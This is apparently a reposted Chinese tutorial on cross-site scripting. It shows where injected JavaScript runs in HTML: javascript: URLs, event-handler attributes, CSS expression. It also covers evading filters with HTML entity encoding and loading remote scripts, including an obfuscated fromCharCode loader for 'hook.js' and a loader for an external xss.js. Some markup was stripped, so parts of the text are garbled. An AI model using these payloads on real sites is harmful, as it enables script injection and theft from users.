新聞中心
一、html可以執(zhí)行javascript的地方有哪些?

創(chuàng)新互聯(lián)主營西區(qū)網(wǎng)站建設(shè)的網(wǎng)絡(luò)公司,主營網(wǎng)站建設(shè)方案,成都App制作,西區(qū)h5成都小程序開發(fā)搭建,西區(qū)網(wǎng)站營銷推廣歡迎西區(qū)等地區(qū)企業(yè)咨詢
先舉個例子比如這個代碼
1f4ck
變量$a可控,怎么讓這個代碼彈框(執(zhí)行javascript代碼)呢?
(1)屬性值引入javascript:[code]偽協(xié)議,來執(zhí)行javascript代碼。也就是$a=javascript:alert(1)
只有引用文件的屬性才能觸發(fā)javascript腳本,這些標(biāo)簽有:
href
action
bgsound
background
value
dynsrc
lowsrc。
1
2
3
4
5
由于這些屬性值不是通用屬性,所以會在不同的標(biāo)簽中,如果在火狐上測試不成功請?jiān)趇e下測試,我用ie6測試是成功的。
(2)"閉合前一個屬性值,引入事件驅(qū)動屬性。事件驅(qū)動屬性的值是javascript代碼,所以可以執(zhí)行javascript。事件驅(qū)動屬性是標(biāo)簽的通用屬性,所以所有標(biāo)簽都可以用。也就是
1$a="onclick=alert(1)
2這樣的事件驅(qū)動屬性標(biāo)簽還有:
ondblclick
onmousedown
onmouseup
onmouseover
onmousemove
onmouseout
onmousepress
onmousedown
onmouseup
1f4ck
(3)閉合標(biāo)簽,引入
(4)CSS可以通過expression屬性執(zhí)行javascript代碼
expression是ie獨(dú)有的css屬性,其目的是為了插入一段javascript代碼。
1
在ie6下執(zhí)行成功。
1@import"http://www.91ri.org/xss.css";
可以從外部導(dǎo)入存在xss代碼的css樣式。
如果css屬性可控,除了可以在expression后面添加javascript代碼執(zhí)行外,還可以像(2)(3)一樣通過閉合標(biāo)簽和屬性值來達(dá)到執(zhí)行javascript的目的。
烏云上的案例:http://www.wooyun.org/tags/css%E...5%AF%BC%E8%87%B4xss
綜上,可以在html里執(zhí)行javascript的地方有
1、利用javascript:在屬性值里2、事件驅(qū)動屬性3、標(biāo)簽中(包括這種形式
二、為什么編碼后的代碼仍然可以執(zhí)行?
(1)上面的$a是沒被過濾的,但假如被過濾了怎么辦,假如只是黑名單過濾了javascript,或者只是對$a進(jìn)行了htmlspecialchars()轉(zhuǎn)換。執(zhí)行javascript的地方只進(jìn)行了html編碼。
$a的值
1javascript:alert(1)
$a的值
1javascript:alert(1)
$a的值:
1javascript:alert(1)
以上為html的三種編碼。提交后,可以繞過黑名單javascript,進(jìn)行htmlspecialchars()編碼是不會發(fā)生任何變化的,那么,這段代碼為什么會執(zhí)行?
因?yàn)檫@個代碼,瀏覽器從頭解析當(dāng)解析到,$a的值時,正常將它解碼,就變成javascript:alert(1),然后這個代碼在href屬性中,所以就執(zhí)行了。
三、怎么遠(yuǎn)程加載外部js?
先來說說html標(biāo)記,html標(biāo)記其實(shí)可以分為兩種
1、文本用閉合標(biāo)簽。
例:
f4ck
2、引用內(nèi)容用自閉合標(biāo)簽。
例:
瀏覽器會在html頁面加載時,額外向服務(wù)器發(fā)送請求,注:這里是html標(biāo)簽的特性,不要和同源策略相混淆,同源策略是用來限制瀏覽器的。
加載進(jìn)來的js和本域是同源的。
哪些標(biāo)簽可以遠(yuǎn)程加載外部js,并執(zhí)行呢?
1、
1
2、
1
3、
1
其實(shí)3就是dom的方法創(chuàng)建和插入節(jié)點(diǎn)。
1vars=document.createElement("script");
2s.src="http://www.91ri.org/xss.js";
3document.getElementsByTagName("head")[0].appendChild(s);
直接用3用于
viewsource
1
2varb=document.createElement(String.fromCharCode(115,99,114,105,112,116));
3b.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);
4b.src=‘hook.js';
5a.appendChild(b);">
網(wǎng)站標(biāo)題:前端安全:know it then hack it
鏈接URL:http://fisionsoft.com.cn/article/djsopdd.html


咨詢
建站咨詢
